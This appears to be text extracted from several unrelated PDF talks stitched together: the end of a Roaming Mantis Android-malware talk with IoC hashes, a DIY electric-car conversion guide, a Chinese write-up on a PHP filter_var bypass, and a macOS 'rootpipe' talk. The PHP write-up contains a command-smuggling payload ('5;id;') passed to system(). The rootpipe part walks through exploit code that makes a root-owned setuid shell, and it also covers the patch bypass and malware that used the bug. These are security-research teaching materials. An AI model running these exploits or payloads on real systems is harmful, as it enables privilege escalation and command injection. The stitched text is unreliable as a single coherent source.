https://www.setn.com/News.aspx?NewsID=577291 Money earning and money laundering technique 39 Carrier Billing EC sites payment service Shopping with Stolen credit card Stolen credit card By money launderer (Money mule phase) Nikkei 2019/6/6 Buy iTunes card with payment service Yahoo!知恵袋 2018/8/3 How to recruit a money Launderer 40 “If you have an iPhone, there is a job. Get rewards just by purchasing a game item! No cost at all.” $ shutdown –h now Conclusions Conclusions 42 HITCON CMT 2019 THE ROAMING MANTIS Targets Taiwan via SMShing Is rapidly improving Has strong financial motivation Example of IoCs 43 HITCON CMT 2019 Malicious smartcat.apk Type A (MoqHao/XLoader) and its modules c2dea0e63bd58062824fd960c6ff5d10 APK file 720c9528f2bb436fa3ca2196af718332 APK file 11ab174bf1dbac0418a14853bae5f1ae ¥classes.dex 95aa090211fd06bbd2d2c310d0742371 ¥classes.dex 2275e5b5186fdfddd64cbb653cc7c5e2 ¥assets¥?¥????? (Encrypted payload) 14eb70a63a16612ec929b552fced6190 ¥assets¥?¥????? (Encrypted payload) 710b672224653ad7e31bd081031928b4 Decrypted payload(.dex) 7d41ef4c8e39d4dd8ca937d23521254aDecrypted payload(.dex) Suspicious hardcoded accounts id538254835 m.vk.com id538255725 m.vk.com id538256404 m.vk.com 09261074305103529133 blogger.com 17996104865618190962 blogger.com 00569308955552776429 blogger.com 44 HITCON CMT 2019 References 1. https://blog.trendmicro.com/trendlabs- security-intelligence/a-look-into-the- connection-between-xloader-and-fakespy- and-their-possible-ties-with-the-yanbian- gang/ 2. https://securelist.com/roaming-mantis- uses-dns-hijacking-to-infect-android- smartphones/85178/ 3. https://securelist.com/roaming-mantis- dabbles-in-mining-and-phishing- multilingually/85607/ 4. https://securelist.com/roaming-mantis- part-3/88071/ 5. https://securelist.com/roaming-mantis- part-iv/90332/ 6. https://securingtomorrow.mcafee.com/ other-blogs/mcafee-labs/moqhao- related-android-spyware-targeting- japan-and-korea-found-on-google-play/ Suguru Ishimaru GReAT APAC Kaspersky Lab Let’s Talk? Manabu Niseki NTT-CERT NTT SC Labs Hiroaki Ogawa Professional Service McAfee
pdf
DIY Electric Car Dave Brown DC forums: RegEdit Voltswagon@live.com Background • 8 years IT • 3 years IT Security • 12 years Electronics & more • FIRST Robotics • Solar Power Station • Solar Water Heater • Rain Barrels • Bike Generator • Murphy Bed • Workbench • Voltswagon Road Map • EV History • EV Acronyms • EV Pros & Cons • EV Uses • EV Parts & Layout • Open Source EV Hardware & Software • EV Conversion Tools • EV Conversion Steps Car Wars (1835 - 1920) • EVs predate ICE autos by 50 years • 1989 – EV is first to break 100 km/h (60 mph) barrier • EVs outsold ICE autos 10 to 1 The ICE Strikes Back (1910 - 2012) • Cheap oil • Electricity still limited and expensive • Growing rural population • 1914 - Ford chooses gas- powered autos for motorized assembly line • 1930 - Electric tram networks bought out and dismantled by GM and Big Oil Return of the EV (1970 - 2012) • 1970s – Air pollution concerns and OPEC embargo • 1990 - 2003 – California Air Resources Board (CARB) mandates • 2008 – Tesla • 2010 – Nissan Leaf • 2011 – iMiEV EV Acronyms • A – Amps • AH – Amp Hours • V – Volts • w – Watts • wH – Watt Hours • wH/m – wH per mile • MPGe – Miles per Gallon equivalent • BEV – Battery Electric Vehicle • NEV – Neighborhood EV • PHEV – Plug-in Hybrid EV • E-REV – Extended Range EV • R-EEV – Range Extended EV EV Pros • Less Complexity • Less Maintenance • Efficiency • Longevity • Sustainability • Energy Independence • National Security • Environmental EV Cons • Batteries – Upfront costs – Lower energy density • Weight • Range • Charging Stations – Availability – Charge time Misconceptions • The grid can’t take it • Same pollution, moved to the plant • More resources/pollution • Lithium is scarce • EVs are slow EV Uses • NEV • Business • Racing • Commuting NEV • Golf Carts • Security/Maintenance • Grocery Getter • Inexpensive • Reduced regulations Business • High mileage yields quick ROI • Predictable routes • Low maintenance Racing • Peak torque from 0 RPM • Wider power band requires less shifting Commuting • ~80% of US commutes are under 40 miles • No energy wasted sitting in traffic • Typical cost <= $0.02 / mile • High efficiency (MPGe) – Energy: gasoline energy per gallon / Wh/m • 33.7 kWh / 280 Wh/m = 120 MPGe – Economic: gas price / electric rate / Wh/m • $3.33 gallon / $0.08/kWh / 280 Wh/m = 149 MPGe Voltswagon Vehicle: 1974 Volkswagen Beetle Range: 16-26 Miles Speed: 70 MPH Cost: $6000 Time: 100 Hours EV Parts List Essentials • Donor Vehicle • Motor & Controller • Shaft Coupler, Adapter Plate • Batteries & Charger • 12V Charger/DC-DC converter • Battery/Motor cables & connectors • Contactor(s) , Fuse(s) • Voltmeter, Ammeter, Shunt • Throttle Conditionals • Battery Management /Monitoring System (BMS) • Brake/Suspension Upgrades • SOC Gauge/monitor • Precharge circuits Recommended • Circuit Breaker/Emergency disconnect • Temperature sensor(s) • Tachometer • Inertia switch • 12V AUX Battery • Motor/controller cooling • Battery Box(es) / Insulation • AH Counter Optionals • AC • Clutch • Heater • Low Rolling Resistance Tires • Power Steering • Solar Panel(s) EV Layout Conversion Kits Motor, Adapter Plate, Shaft Coupler • 6.7" D&D ES-31B • 72-144 V Series Wound DC • Rated 12 HP, peak ~60 HP Common Motor Options • Warp • Kostov ---------------------------- • Forklift AC vs DC • Easier Regen • Runs cooler • Even less maintenance • Cheaper • Greater selection • Simpler Motor Controller • Curtis 1221C • 120 V DC (nominal) 400 Amps Peak • Aluminum finned heat sink Motor Controller options • Soliton • Zilla ---------------------------- • Curtis • Open ReVolt ---------------- Charger Battery Pack • 10 x 29DC Marine Deep Cycle Batteries • 120 V • 15 kWh • 600 lbs Battery Pack Calculations • Range * wH/mile / 50% DOD / 60% Peukert • 15 * 300 / .3 = 15 kWh • Max range is 80% DOD • Lithium – No Peukert – 70% DOD nominal – 80% DOD for max Battery Options • Golf cart • 6 V, 8 V • 500-700 cycles • Prismatic – CALB, Sinopoly, Winston • Cylindrical – Headway • Pouch – A123 • 3.2 V • 2000-5000 cycles Lead Acid LiFePO4 Lead vs Lithium(LiFePo4) • Lower upfront cost • Less sensitive • No balancing necessary • Easier to determine State of Charge (SOC) • Light-weight • Long cycle life • High power output • Less maintenance • Flat discharge curve • Better cold weather performance To BMS, or not… • Battery Management/Monitoring System required for some chemistries • Active or Passive monitoring • Distributed or Centralized • Expensive /complicated • Potential fire hazard Balancing • No two cells are identical • Cells must be balanced to prevent damage • Balancing matches cells at either top or bottom • If overcharged, cell is damaged • If overdischarged, cell can be pushed to reversal and destroyed Discharge curve and Half-pack Bridge • Monitor each half of pack • Take action if imbalance passes threshold Contactor, Precharge, & Coil Supression • Precharge Resistor – Prevents current surge – Preserves controller capacitors – Prolongs contact life • Coil Supression Diode – Prevents voltage spike – Usage depends on controller/contactor requirements Accessories • If needed, accessories may run off an auxiliary driveshaft, or be powered separately – Air conditioning – Power steering – Power Brakes Open Source EV Hardware & Software • Controller • Charger • Instrumentation • Misc Electric Motor Werks 10kW 60A Open Source Charger EV Dashboard EV Conversion Tools Essentials • Shop manual for donor vehicle • 2+ ton trolley jack (high clearance preferred) • 2+ ton adjustable jack stands • Creeper • Sockets, Wrenches, Screwdrivers, Pliers • Angle Grinder • Handheld drill • Digital Volt Meter (DVM) • Wire strippers and crimpers • Cable cutters and crimper • Shop light • Rotary tool • Measuring Tapes Carry-On • Digital Volt Meter (DVM) • Jumper cable • Commonly used Sockets, Screwdrivers Recommended • Electrical Tape • Engine hoist or transmission jack • Clamp On Ammeter • Drill press • Air compressor • Rhino Ramps • Welding Equipment • Safety goggles or glasses • Latex (or similar) gloves • Soldering Iron • Zip Ties • Vise Optional • Workbench • Box cutter, Jigsaw, Cut-off saw, Hacksaw • Hammer, Pry Bar • Heat gun or torch EV Conversion Steps • Build Requirements • Explore the Possibilities • Find a Donor • De-ICE • Eliminate Waste • Install EV Components – Motor – Controller – Batteries – Charger – Accessories • Hit the road! • Keep on Hacking Build Requirements • Motivations? • Maximize utility • How far? • How fast? • Budget? • Skills? • Reality check Keep it Legal • Each state\country is different • Some require inspections • Some have strict requirements • Some do not allow typical conversions • Some don’t know what an EV is Explore the Possibilities EV Album Find a Donor • Fun to drive • Good working order (except engine) • Aerodynamic • Lightweight • Cargo space De-ICE • Remove the engine – Find buyer first! – Jack up 2-3 feet for bottom removal – Engine hoist for top removal • Drain and remove gas tank, radiator, starter, alternator, and other obsolete stuff Eliminate Waste • Less weight and less power draw = more range • May be able to remove or replace non- essentials – Swap Fix-A-Flat for spare tire – Convert power steering and brakes to manual Install EV Components • Attach adapter plate and coupler to motor • Install motor and controller • Build/install battery boxes • Install batteries and charger • Install instruments, wiring, accessories, etc Where to charge • 110 V AC • 20 Amps • 220 V outlet • 50 Amps • J1776-2009 – Level 1 120 V AC – Level 2 240 V AC • 80 Amps • CHAdeMO – Level 3 500V • 125 Amps 8 miles charge/hour 44 miles charge/hour 76 miles charge/hour 250 miles charge/hour Hit the road! Sounds Great, But… • Perpetual Motion • Hydrogen • Supercapacitors • Hub Motors • DIY Hybrid • Solar Keep on Hacking WARNING: EV Conversions are a very addictive/obsessive hobby. The only way to ‘finish’ a conversion is to start another. EV Resources • Vendors Used – Wilderness EV – KTA Services, Inc. – Cloud Electric – Sam’s Club – Calib Power – ebay – Lightobject – Chennic – Additional Resources - chargedevs.com/Build-an-EV Motor: $1200 Controller: $1000 Batteries: $800 Charger: $600 Adapter/Coupler: $500 Misc: $800 No longer being OPECXXON’s Bitch…Priceless
pdf
PHP filter_var Bypass 截⽌ 2022.03.27 ⽆官⽅补 丁 0x00 前⾔ 本⽂是对⽂章 《PHP filter_var shenanigans》中所表述内容的进⼀步测试和学习研究记录。 测试环境:macOS Mojave + PHP 7.4.28 + gdb 0x01 本地环境搭建 下载并切换到希望调试的源码环境 这⾥仅开启必要的扩展组件来编译 编译时可能会遇到如下报错 git clone https://github.com/php/php-src cd php-src/ git checkout PHP-7.4.28 1 2 3 ./buildconf --force ./configure --disable-all --enable-filter --enable-cli --enable-debug -- with-iconv=$(brew --prefix libiconv) --prefix=/opt/phptest/ --with-config- file-path=/opt/phptest/php.ini make -j8 make install 1 2 3 4 /Users/zero/Desktop/php-src/main/reentrancy.c:125:23: error: too few arguments to function call, expected 3, have 2 readdir_r(dirp, entry); ~~~~~~~~~ ^ /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/dirent.h:110 :5: note: 'readdir_r' declared here int readdir_r(DIR *, struct dirent *, struct dirent **) __DARWIN_INODE64(readdir_r); ^ 1 error generated. make: *** [main/reentrancy.lo] Error 1 1 2 3 4 5 6 7 8 就是这个函数在macOS sdk⾥⾯的定义与PHP源码中调⽤不符合造成的,修改对应的源码位置为如 下值即可(因为第三个值就是第⼆个值得指针⽽已) PS: 要是实在报错过多解决不了就去PHP官⽹下载对应版本的PHP源码吧! 变异完成之后执⾏ php -v 会显示 DEBUG , 配置⽂件的位置也是在我们先前指定的地⽅ 没看过PHP内核的可以去微信读书上⾯搜 《PHP 7 底层设计与源码实现》,我觉得⾄少这本在讲 ⼈话。 后⾯主要⽤的⼀个⽬录是 ext 因为 system 函数的实现在这个地⽅ ext 官⽅扩展⽬录,包括了绝⼤多数PHP的函数的定义和实现,如array系列,pdo系列,spl系 列等函数的实现,都在这个⽬录中。个⼈写的扩展在测试时也可以放到这个⽬录,⽅便测试 和调试。 0x02 PHP filter_var Bypass 函数使⽤说明 漏洞说明:如果使⽤ PHP 的filter_var函数检查主机名,并且传递给函数的值太⻓,zend就不会执 ⾏对⽬标字符串的检查,这会导致主机名检查被完全绕过。 本地测试:⾸先要修改 php.ini 中的 memory_limit = -1 ,因为该漏洞的超⻓字符串需要你分 配4G的内存(这个也是该漏洞鸡肋的原因,因为默认是128MB,⽽线上服务器也不会让你⼀下发 readdir_r(dirp, entry ,&entry); 1 filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed 1 个4GB的字符过去) 上⾯的代码执⾏之后会输出 success,说明成功bypass 0x03 命令执⾏ NO ? 但是我测试了⽂章中给出的案例,虽然可以bypass但是并不能成功命令执⾏,简化的代码⽚段如 下所示 这⾥使⽤CLion来进⾏调试,配置调试很简单,把源码⽤CLion打开,然后按照如下⽅式编辑⼀下就 <?php <?php // normal usage var_dump(filter_var("example.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)); // filter bypass // var_dump(filter_var("5;id;" . str_repeat("a", 4294967286) . "a.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)); if (filter_var("5;id;" . str_repeat("a", 4294967286) . "a.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)){ echo "success"; } // // DoS/Memory corruption // var_dump(filter_var(str_repeat("a", 2294967286), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)); ?> ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php <?php $userinput = "5;id;" . str_repeat("a", 4294967287) . "a.com"; system("echo ".$userinput); ?> ?> 1 2 3 4 可以了 然后打个断点,点击⼩⾍⼦图标,能正常停咱们就可以愉快的debug了 -c /Users/zero/opt/phptest/php.ini /Users/zero/opt/phptest/script_test/filter_var_bypass_exec.php 1 咱们想看的 system 函数,在 ext/standard/exec.c 进⾏实现 可以对其中⼏个关键位置下个断点 /* {{{ proto int system(string command [, int &return_value]) Execute an external program and display output */ PHP_FUNCTION(system) { php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ 1 2 3 4 5 6 7 动态调试或者静态跟⼀下就会发现这⾥⾯的 VCWD_POPEN 其实就是 popen 。到这⾥使⽤上⾯哪个 例⼦CLion就已经罢⼯debug不下去了,但是不要紧,我们直接写个⼩⽚断测试⼀下就好了 #include <stdlib.h> #include <stdio.h> #include <string.h> #define BUF_SIZE 1024 char buf[BUF_SIZE]; int main(int argc, char *argv[], char *env[]) { FILE * p_file = NULL; p_file = popen(argv[1], "r"); if (!p_file) { fprintf(stderr, "Erro to popen"); } while (fgets(buf, BUF_SIZE, p_file) != NULL) { fprintf(stdout, "%s", buf); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 只有⼩⻛扇呼呼呼也没执⾏出来 我⼤概看了⼀下glibc⾥⾯关于popen函数的实现,没有看到什么⻓度限制,来多少都接。所以这个 洞造成DoS是可以的,但是bypass完之后还能继续执⾏命令的,那估计还不太⾏。 pclose(p_file); return 0; } 20 21 22 23 gcc exec.c -o exec ./exec "id ;`printf "%0.s1" {1..4294967286}`" 1 2
pdf
@patrickwardle STICK THAT IN YOUR (ROOT)PIPE & SMOKE IT “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints” WHOIS @patrickwardle always looking for more experts! xpc, rootpipe, malware, patches & 0days :) OUTLINE overview of XPC the bug in malware patch bypass patch(es) Credits hax0ring is rarely an individual effort Ian Beer Emil Kvarnhammar Pedro Vilaça uncovered rootpipe Jonathan Levin "Mac OS X & iOS Internals" @emilkvarnhammar @osxreverser implants backdoor remotely accessible means of providing secret control of device injection coercing a process to load a module persistent malicious code hooking intercepting function calls trojan malicious code that masquerades as legitimate gotta make sure we’re all on the same page ;) SOME DEFINITIONS OVERVIEW OF XPC modern IPC on OS X a simple IPC mechanism which can provide security & robustness XPC “There are two main reasons to use XPC: privilege separation and stability.” -apple.com sandboxed 'XPC services' [privilege separation]
 [stability] each XPC service has its own sandbox crashes in the XPC services don't affect the app used all over the place by Apple XPC IN OS X $  find  /System/Library/Frameworks  -­‐name  \*.xpc AddressBook.framework/Versions/A/XPCServices/com.apple.AddressBook.FaceTimeService.xpc AddressBook.framework/Versions/A/XPCServices/com.apple.AddressBook.MapLauncher.xpc ... WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.Plugin.32.xpc WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.Plugin.64.xpc WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc $  find  /Applications  -­‐name  \*.xpc
 iPhoto.app/Contents/XPCServices/com.apple.PhotoApps.AVCHDConverter.xpc iPhoto.app/Contents/XPCServices/com.apple.photostream-­‐agent.VideoConversionService.xpc
 Xcode.app/Contents/Developer/Toolchains/.../XPCServices/SourceKitService.xpc Xcode.app/Contents/XPCServices/com.apple.dt.Xcode.Playground.xpc ... frameworks and apps that use XPC frameworks apps } moving 'risky' code out-of-proc XPC display (uiI) } an 'unzip' XPC service a 'download' XPC service separate procs. w/ permissions 'normal' app XPC'd app allow deny deny deny XPC download, unzip, & display the app, comms, & xpc service XPC COMPONENT RESPONSIBILITIES XPC'd app XPC service XPC comms make connection send requests (msgs) listen authenticate (optionally) handle requests "Creating XPC Services" -apple.com simply add a new target ('xpc service') in your app's project ADDING AN XPC SERVICE creating the XPC service embedded in app target compile how to listen for client connections XPC SERVICE LISTENER int  main(int  argc,  const  char  *argv[])  {  //set  up  NSXPCListener  for  this  service  NSXPCListener  *listener  =  [NSXPCListener  serviceListener];  //create/set  delegate  listener.delegate  =  [ServiceDelegate  new];  //resuming  serviceListener  to  starts  service  [listener  resume]; } @implementation  ServiceDelegate
 //where  NSXPCListener  configures,  accepts,  &  resumes  incoming  NSXPCConnection -­‐(BOOL)listener:(NSXPCListener  *)listener  shouldAcceptNewConnection:(NSXPCConnection*)newConnection  {  //configure  the  connection,  by  setting  interface  that  the  exported  object  implements  newConnection.exportedInterface  =  [NSXPCInterface  interfaceWithProtocol:@protocol(imgXPCServiceProtocol)];  //set  the  object  that  the  connection  exports  newConnection.exportedObject  =  [imgXPCService  new];  //resume  connection  [newConnection  resume];  //'YES'  means  connection  accepted  return  YES; } listening & accepting XPC connection(s) template code in main.m @interface  imgXPCService  :  NSObject  <imgXPCServiceProtocol> @end @implementation  imgXPCService //'remote'  XPC  method -­‐(void)downloadImage:(NSURL  *)imageURL  withReply:(void  (^)(NSData  *))reply {  //download  image  NSData*  imageData  =  [[NSData  alloc]  initWithContentsOfURL:imageURL];  //reply  to  app  reply(imageData); } XPC SERVICE METHOD XPC'd app XPC service invoke method implement the desired logic //make  connection //  -­‐>note:  'com.synack.imgXPCService'  is  name  of  service NSXPCConnection*  connectionToService  =
  [[NSXPCConnection  alloc]  initWithServiceName:@"com.synack.imgXPCService"]; //set  interface  (protocol) connectionToService.remoteObjectInterface  =  [NSXPCInterface  interfaceWithProtocol:@protocol(imgXPCServiceProtocol)]; //resume [connectionToService  resume]; @end look up by name, set interface, and go! CONNECTING/USING THE XPC SERVICE XPC'd app //invoke  remote  method [[connectionToService  remoteObjectProxy]  downloadImage:@"http://synack.com/logo.png"  withReply:^(NSData*  imgData) {  //got  downloaded  image  NSLog(@"got  downloaded  image  (size:  %#lx)",  imgData.length); }]; connect to xpc service invoke 'remote' method(s) XPC system will find service by name ROOTPIPE an xpc-based bug from past to present... A 'ROOTPIPE' TIMELINE 10/2014 4/2015 discovery by Emil 8/2014 XSLCMD malware* OS X 10.10.3 'patched' 4/2015 2001 OS X 10.0? phoenix exploit on 10.10.3 6/2015 OS X 10.10.4 patched *reported, exploit only uncovered 4/15 the 'writeconfig' xpc service can create files.... THE HEART OF THE VULNERABILITY //get  default  file  manager NSFileManager*  fileMgr  =  [NSFileManager  defaultManager];
 //create  file
 [fileMgr  createFileAtPath:<path>  contents:<contents>  attributes:<attrs>]; 'source' code async  block  invoked  from  within -­‐[WriteConfigDispatch  createFileWithContents:path:attributes:_withAuthorization:] mov  rdx,  [rbx+20h]  ;  file  path mov  rcx,  [rbx+28h]  ;  file  contents mov  r8,  [rbx+30h]  ;  file  attributes mov  rsi,  cs:selRef_createFileAtPath_contents_attributes_  ;  method mov  rdi,  r14  ;  file  manager call  cs:_objc_msgSend_ptr disassembly 'writeconfig' XPC service problem? anyone can create any file, anywhere as root! THE HEART OF THE VULNERABILITY $  ps  aux  |  grep  writeconfig  root  /System/Library/PrivateFrameworks/SystemAdministration.framework/XPCServices/writeconfig.xpc 'writeconfig' runs as r00t //create file
 [fileMgr createFileAtPath:<path> contents:<contents> attributes:<attrs>]; } the file path, contents, & permissions are fully controllable - allowing an unprivileged attacker to create files (as r00t), anywhere on the system! + = + path contents attributes root! an overview example EXPLOITATION writeconfig XPC service $  ls  -­‐lart  /myShell -­‐rwsrwxrwx  1  root  wheel  /myShell $  /myShell #  whoami root SystemAdministration framework {/bin/ksh, 04777, /myShell} XPC request ./r00tpipe myShell result: /bin/ksh, setuid'd (local) object that knows how to talk to the 'writeconfig' XPC service OBTAIN INSTANCE OF 'WRITECONFIGCLIENT' ___33__WriteConfigClient_sharedClient__block_invoke ... mov  rdi,  cs:classRef_WriteConfigClient mov  rsi,  cs:selRef_alloc mov  rbx,  cs:_objc_msgSend_ptr call  rbx  ;  _objc_msgSend mov  rsi,  cs:selRef_init mov  rdi,  rax call  rbx  ;  _objc_msgSend +[WriteConfigClient sharedClient] disassembly link w/ SystemAdministration framework //get  class Class  WriteConfigClient  =  NSClassFromString(@"WriteConfigClient"); //get  instance id  sharedClient  =  [WriteConfigClient  performSelector:@selector(sharedClient)]; SystemAdministration framework allows vulnerability to be triggered AUTHENTICATE TO THE WRITECONFIG XPC SERVICE ;-­‐[WriteConfigClient  authenticateUsingAuthorization:] ...
 mov  rdi,  cs:classRef_NSXPCConnection mov  rsi,  cs:selRef_alloc call  cs:_objc_msgSend_ptr mov  rsi,  cs:selRef_initWithServiceName lea  rdx,  cfstr_Com_apple_sy_1 mov  rdi,  rax call  cs:_objc_msgSend_ptr //authenticate [sharedClient  performSelector:@selector(authenticateUsingAuthorizationSync:)  withObject:nil]; ;-­‐[WriteConfigClient  authenticateUsingAuthorization:] mov  rbx,  [r15+r14] mov  rdi,  cs:classRef_NSXPCInterface mov  rdx,  cs:protocolRef_XPCWriteConfigProtocol mov  rsi,  cs:selRef_interfaceWithProtocol_ call  cs:_objc_msgSend_ptr mov  rsi,  cs:selRef_setRemoteObjectInterface_ mov  rdi,  rbx mov  rdx,  rax call  cs:_objc_msgSend_ptr mov  rsi,  cs:selRef_resume call  cs:_objc_msgSend_ptr inits connection to 'writeconfig' XPC service ('com.apple.systemadministration.writeconfig') which in turn triggers invocation of listener: shouldAcceptNewConnection: allows for (indirect) invocation of remote methods GET 'DISPATCH' OBJECT //get  remote  proxy  object id  dispatchObj  =  [sharedClient  performSelector:@selector(remoteProxy)]; #  lldb  r00tPipe b  -­‐[WriteConfigClient  remoteProxy] Breakpoint  1:  where  =  SystemAdministration`-­‐[WriteConfigClient  remoteProxy] thread  return po  $rax <WriteConfigOnewayMessageDispatcher:  0x60000000bb10> WriteConfigOnewayMessageDispatcher what object type? dispatch object identification finally - coerce the remote xpc service to create any file INVOKE 'REMOTE' METHOD //invoke  remote  object [dispatchObj  createFileAtPath:<path>  contents:<contents>  attributes:<attrs>]; forwardInvocation: selector += '_withAuthorization:' WriteConfigClient (sharedClient) remoteObjectProxy _NSXPCDistantObject invokeWithTarget: <NSInvocation:  0x60000046e240> return  value:  {Vv}  void target:  {@}  0x60000000c3c0 selector:  {:}  createFileWithContents:  path:attributes:_withAuthorization: argument  2:  {@}  0x6000000511c0 argument  3:  {@}  0x600000083ed0 argument  4:  {@}  0x6000000743c0 argument  5:  {@}  0x0 WriteConfig XPC service attacker's payload 'pls create me a root shell' COMBINED EXPLOIT $  ./rootPipe step  0x1:  got  instance  <WriteConfigClient:  0x7f824141e670> step  0x2:  authenticated  against  XPC  service step  0x3:  got  instance  <WriteConfigOnewayMessageDispatcher:  0x7f8241433610> step  0x4:  invoking  remote  XPC  method  to  create  /myShell  with  setuid  flag $  /myShell #  whoami root #  fs_usage  -­‐f  filesystem <rootPipe> open  F=4  (R_____)  /bin/ksh read  F=4  B=0x154780 <writeconfig> open  F=4  (RWC__E)  /.dat014a.00b write  F=4  B=0x154780 rename  /.dat014a.00b chmod  <rwsrwxrwx>  /myShell chown  /myShell exploit & OS's file I/O rootpipe exploit only exploitable by admin users NOTE ON OLDER VERSIONS //use  'Authenticator'  class id  authenticator  =  [Authenticator  performSelector:@selector(sharedAuthenticator)]; //authenticate  with  non-­‐NULL  auth  object [authenticator  performSelector:@selector(authenticateUsingAuthorizationSync:)  withObject:auth]; //use  'ToolLiaison'  class id  sharedLiaison  =  [ToolLiaison  performSelector:@selector(sharedToolLiaison)]; //get  'tool'  object id  tool  =  [sharedLiaison  performSelector:@selector(tool)]; //get  'tool'  object [tool  createFileWithContents:  ...] authentication requires and auth object file creation via ToolLiaison class //or  directly  via  via  'UserUtilities' [UserUtilities  createFileWithContents:  ...]; will fail for non-Admins file creation via UserUtilities class } either CHINA ALREADY KNEW malware with an 0day!? "somebody" provides reverse shell, screen capture & keylogging OSX/XSLCMD Forced to Adapt: XSLCmd Backdoor Now on OS X
 “a previously unknown variant of the APT backdoor XSLCmd which is designed to compromise Apple OS X systems” -fireeye.com (9/2014) reverse shell screen capture keylogging no mention of any priv-esc exploit(s) did the malware exploit rootpipe as an 0day!? OSX/XSLCMD & ROOTPIPE tweet: 4/2015 why no mention in FireEye's report!? OSX/XSLCmd XSLCmd on VirusTotal used to turn on access for 'assistive devices' to enable keylogging! OSX/XSLCMD EXPLOITING ROOTPIPE (OS X 10.7/10.8) void  sub_10000c007() r12  =  [Authenticator  sharedAuthenticator]; rax  =  [SFAuthorization  authorization]; rbx  =  rax; rax  =  [rax  obtainWithRight:"system.preferences"  flags:0x3  error:0x0]; if  (rax  !=  0x0)  {  [r12  authenticateUsingAuthorizationSync:rbx];  rax  =  [r12  isAuthenticated];  if  (rax  !=  0x0)  {  rbx  =  [NSDictionary  dictionaryWithObject:@(0x124)  forKey:*_NSFilePosixPermissions];  rax  =  [NSData  dataWithBytes:"a"  length:0x1];  rax  =  [UserUtilities  createFileWithContents:rax  path:@"/var/db/.AccessibilityAPIEnabled"  attributes:rbx]; download sample: objective-see.com keylogging a .AccessibilityAPIEnabled= XSLCmd disassembly enabling access (via UI) APPLE'S RESPONSE #fail (initially) upgrade or 'die' FAIL #1: NO PATCH < OS X 10.10 “Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older” -Emil 'patched' OS X Yosemite (v. 10.10.3) no (official) patch for OS X Mavericks & older = "How to fix rootpipe in Mavericks" (Luigi) @osxreverser TL;DR: (attempt) to only allow authorized clients APPLE'S ROOTPIPE PATCH XPC comms writeconfig XPC service access check on clients unauthorized (non-apple) 'clients' can no longer connect to the remote writeconfig XPC service implementation overview APPLE'S ROOTPIPE PATCH “The new (patched) version implements a new private entitlement called com.apple.private.admin.writeconfig. 
 If the binary calling the XPC service does not contain this entitlement then 
 it can’t connect anymore to the XPC.” @osxreverser NSXPCListenerDelegate allow's XPC server to allow/deny connection decompilation of listener:shouldAcceptNewConnection PATCH DETAILS -­‐[WriteConfigDispatch  listener:shouldAcceptNewConnection:] (NSXPCListener  *listener,  NSXPCConnection*  newConnection) //get  audit  token rbx  =  SecTaskCreateWithAuditToken(0x0,  listener); //try  grab  "com.apple.private.admin.writeconfig"  entitlement r13  =  SecTaskCopyValueForEntitlement(rbx,  @"com.apple.private.admin.writeconfig",  0x0); //missing  entitlement? if  (r13  ==  0x0)  goto  error; //  -­‐>error  out,  disallowing  connection error:  NSLog(@"###  Access  denied  for  unentitled  client  %@",  rbx); (new) entitlement checks } entitlements confer specific capabilities or security permissions embedded in the code signature, as an entitlement blob checks for com.apple.private.admin.writeconfig ...the XPC service is still there FAIL #2: PATCH IS MERELY A ROAD BLOCK video PHOENIX; ROOTPIPE REBORN exploitation on OS X 10.10.3 successfully (re)connect to the protected XPC service THE GOAL authentication is 100% dependent on entitlements, can we simply coerce a legitimate (entitled) binary to execute untrusted code? } infection? injection? hijacking? plugins? connect = win! entitlements? can required entitlement be 'faked'? FAKE ENTITLEMENTS load-time binary verification taskgated-­‐helper:  validated  embedded  provisioning  profile:  entitlements.app/Contents/embedded.provisionprofile taskgated-­‐helper:  unsatisfied  entitlement  com.apple.private.admin.writeconfig taskgated-­‐helper:  killed  com.synack.entitlementsApp  because  its  use  of  the  com.apple.private.admin.writeconfig  entitlement  is  not  allowed manually added entitlement nope: the OS (taskgated) validates entitlements killed by taskgated scan entire file system for com.apple.private.admin.writeconfig FIND 'ENTITLED' BINARIES #recursively  walk  (starting  at  r00t) for  root,  dirnames,  filenames  in  os.walk('/'): #check  all  files  for  filename  in  filenames:  #check  for  entitlements  output  =  subprocess.check_output(  \  ['codesign',  '-­‐d',  '-­‐-­‐entitlements',  '-­‐',  os.path.join(root,  filename)])  #check  for  entitlement  key  if  '<key>com.apple.private.admin.writeconfig</key>'  in  output:  #found!  :) #  python  findEntitled.py /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder /System/Library/CoreServices/Setup  Assistant.app/Contents/MacOS/Setup  Assistant /System/Library/CoreServices/Applications/Directory  Utility.app/Contents/MacOS/Directory  Utility ... entitled binaries can a entitled binary be infected/patched? INFECTION Process:  Directory  Utility  [1337] Path:  Directory  Utility.app/Contents/MacOS/Directory  Utility Exception  Type:  EXC_CRASH  (Code  Signature  Invalid) Exception  Codes:  0x0000000000000000,  0x0000000000000000 nope: loader verifies all digital signatures! killed by the loader load-time binary verification can DYLD_INSERT_LIBRARIES be (ab)used? LOAD-TIME INJECTION $  DYLD_INSERT_LIBRARIES=rootPipe.dylib  Directory  Utility.app/Contents/MacOS/Directory  Utility //for  restricted  binaries,  delete  all  DYLD_*  and  LD_LIBRARY_PATH  environment  variables static  void  pruneEnvironmentVariables(const  char*  envp[],  const  char***  applep) {  int  removedCount  =  0;  const  char**  d  =  envp;  for(const  char**  s  =  envp;  *s  !=  NULL;  s++)  {  if(strncmp(*s,  "DYLD_",  5)  !=  0)   *d++  =  *s;  else  ++removedCount;  }  if  (removedCount  !=  0){  dyld::log("dyld:  DYLD_  environment  variables  being  ignored  because  ");  switch  (sRestrictedReason)  {  case  